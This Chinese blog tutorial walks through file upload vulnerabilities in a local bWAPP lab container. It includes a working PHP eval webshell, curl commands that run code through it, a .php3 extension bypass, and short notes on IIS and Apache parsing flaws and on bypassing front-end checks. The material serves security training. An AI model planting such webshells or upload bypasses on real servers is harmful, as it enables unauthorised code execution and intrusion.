美文网首页
文件上传漏洞

文件上传漏洞

作者: 一生逍遥一生 | 来源:发表于2023-03-09 09:14 被阅读0次

    文件上传漏洞是什么?

    文件上传漏洞是在开发者没有做充足验证情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者webshell等。

    部署靶机环境

    下载镜像

    docker search bwapp # 搜索镜像
    docker pull raesene/bwapp # 拉取镜像
    docker run -d -p 12345:80 raesene/bwapp # 创建容器
    docker ps # 确认容器是否正常运行
    docker container list -a|grep bwapp # 查看容器id
    docker start container_id # 启动容器,如果容器已经启动,就无需这部操作
    docker exec -it container_id bash # 进入容器,修改文件的权限,否在无法上传文件
    

    在进入容器之后,需要对文件的目录权限进行变更,否则无法进行上传操作

    root@137640210dd6:/app# cd ..
    root@137640210dd6:/# chown -R www-data:www-data app
    

    系统初始化

    在浏览器中输入http://localhost:12345/install.php,进入安全页面,选择安装按钮,对应用进行初始化。

    image.png

    创建用户

    在初始化成功之后,跳转到create user页面,填写完信息之后,不要勾选验证邮件这一项,点击创建:


    image.png

    文件上传

    上传漏洞

    登录应用之后,选择Unrestricted File Upload 然后点击hack按钮,进入Unrestricted File Upload 页面,


    image.png

    上传一个文件shell.php文件,并进行查看,在预览页面中没有任何内容展示,因为上传的文件不是一个文本文件,而是一个文件,文件内容为:

    <?php @eval($_POST['hacker']); ?>%
    

    在php中,eval是一个特殊的关键字,将一个字符串变成php的运行代码。

    <?php @eval($_POST['hacker']); ?> 中的@eval($_POST['hacker']);是要接收post的数据,变量为hacker
    
    image.png
    curl -d "hacker=echo get_current_user();" http://localhost:12345/images/shell.php # 获取当前用户
    curl -d "hacker=echo getcwd();" http://localhost:12345/images/shell.php  # 获取当前的目录
    

    后缀名跳过

    将安全级别设置为medium,将无法上传shell.php文件:


    image.png

    将shell.php 变成shell.php3,在重新上传文件:


    image.png
    文件成功上传
    image.png

    将shell.php 变成shell.php30,在重新上传文件:


    image.png
    文件内容可以在预览里面看见,因为应用把shell.php30当作一个文本文件,直接展示内容。
    查看容器内部的文件:
    docker container list -a|grep bwapp # 查看容器id
    docker exec -it container_id bash # 进入容器,修改文件的权限,否在无法上传文件
    cd /etc/apache2/
    cat apache2.conf |grep conf 
    

    通过apache2.conf文件中,可以看到加载的mod有哪些,查看支持的php配置文件位置和内容

    cd /etc/apache2/mods-enabled
    cat php5.conf
    

    php5.conf文件内容

    <FilesMatch ".+\.ph(p[345]?|t|tml)$">
        SetHandler application/x-httpd-php
    </FilesMatch>
    <FilesMatch ".+\.phps$">
        SetHandler application/x-httpd-php-source
        Order Deny,Allow
        Deny from all
    </FilesMatch>
    <FilesMatch "^\.ph(p[345]?|t|tml|ps)$">
        Order Deny,Allow
        Deny from all
    </FilesMatch>
    <IfModule mod_userdir.c>
        <Directory /home/*/public_html>
            php_admin_flag engine Off
        </Directory>
    </IfModule>
    

    通过配置文件可以看到,如果后缀名字为php3、php4、php5都会解析为PHP文件,php30是无法解析为php文件的。

    前端绕过

    ISS 5.x/6 解析漏洞

    漏洞1:当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件
    漏洞2:服务器默认不解析;以后的内容
    漏洞利用形式:
    漏洞1: www.xx.com/xx.asp/xx.jpg 会被解析成asp文件
    漏洞2: www.xx.com/xx.asp;.jpg 会被解析为asp文件

    Apache漏洞

    Apache 在1.x和2.x版本中存在解析漏洞:
    Apache从右至左开始判断后缀,跳过非可识别后缀,直到找到可识别后缀为止,
    然后将该可识别后缀进解析。

    前端验证绕过

    利用方式:
    1.使用Burp Suite来拦截请求,将请求进行修改;
    2.通过chrome禁止/删除js代码。

    Windows文件流

    什么是Windows文件流?
    NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。

    相关文章

      网友评论

          本文标题:文件上传漏洞

          本文链接:https://www.haomeiwen.com/subject/bzjoldtx.html